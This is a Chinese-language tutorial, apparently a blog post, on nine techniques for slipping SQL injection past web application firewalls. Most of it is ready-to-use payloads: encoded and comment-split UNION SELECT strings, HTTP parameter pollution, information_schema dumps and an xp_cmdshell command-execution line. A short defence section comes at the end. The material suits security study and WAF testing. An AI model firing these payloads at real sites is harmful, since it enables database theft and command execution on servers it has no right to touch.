SQL注入 | 9种绕过Web应用程序防火墙的方式
字数 1231 2025-08-18 11:37:07
WAF绕过技术详解:9种SQL注入绕过方法
1. WAF基础概念
Web应用程序防火墙(WAF)是一种专门用于过滤、监控和阻止进出Web应用程序HTTP流量的安全设备。与常规防火墙不同,WAF能够针对特定Web应用程序内容进行深度检测。
WAF工作原理
- 协议异常检测:拒绝不符合HTTP标准的请求
- 增强的输入验证:同时进行代理端和服务器端验证
- 白名单和黑名单机制
- 基于规则和基于异常的保护:
- 基于规则:依赖预定义的黑名单
- 基于异常:更灵活,基于行为分析
- 状态管理:关注会话保护
- 其他功能:Cookie保护、反入侵规避技术、响应监控和信息披露保护
2. WAF绕过技术详解
2.1 大小写变异
原理:利用WAF可能存在的区分大小写检测漏洞
示例:
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
特点:
- 将SQL关键字随机大小写混合
- 适用于使用简单字符串匹配的WAF
2.2 关键字替换/分割
原理:在关键字中插入会被WAF过滤的字符
示例:
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
变体:
- 将SELECT变为SEL<ECT
- 插入的字符被过滤后,原始关键字仍能执行
2.3 编码技术
URL编码
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
Hex编码
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode编码
?id=10%D6‘%20AND%201=2%23
SELECT 'Ä'='A'; #1
2.4 注释注入
原理:利用注释混淆WAF的检测
示例:
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4
2.5 等价函数替换
常用替换:
hex(),bin()→ascii()sleep()→benchmark()concat_ws()→group_concat()mid(),substr()→substring()@@user→user()@@datadir→datadir()
字符串比较技巧:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
2.6 特殊符号利用
示例:
select `version()`; select+id-1+1.from users;
select@^1.from users;
Mysql function() as xxx
'se'+'lec'+'t'
S%E%L%E%C%T 1
1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
'or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
2.7 HTTP参数控制
HTTP参数污染(HPP)
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
不同Web服务器处理方式:
- PHP/Apache:只解析最后一个参数
- JSP/Tomcat:只解析第一个参数
- ASP.NET:合并参数值
HTTP参数分段(HPF)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
等效于:
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
HTTP参数污染(HPC)
利用RFC2396定义的保留字符:
- Unreserved: a-z, A-Z, 0-9
- Reserved: ;/?:@&=+$,
- Unwise: {}|^[]`<>"
2.8 缓冲区溢出
原理:利用WAF处理超长字符串时的漏洞
示例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
2.9 组合绕过技术
原理:结合多种技术提高绕过成功率
示例:
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A" uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()–
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
3. 防御建议
- 多层防御:不要仅依赖WAF,应结合其他安全措施
- 规则更新:定期更新WAF规则库
- 输入验证:实施严格的输入验证和输出编码
- 最小权限原则:数据库账户使用最小必要权限
- 参数化查询:使用预处理语句而非动态SQL拼接
- 异常监控:监控WAF日志和异常行为
- 压力测试:对WAF进行缓冲区溢出等极限测试
4. 总结
WAF绕过技术不断发展,攻击者常组合使用多种技术提高成功率。防御方需要采取深度防御策略,结合WAF、安全编码实践和系统加固等多层次防护措施。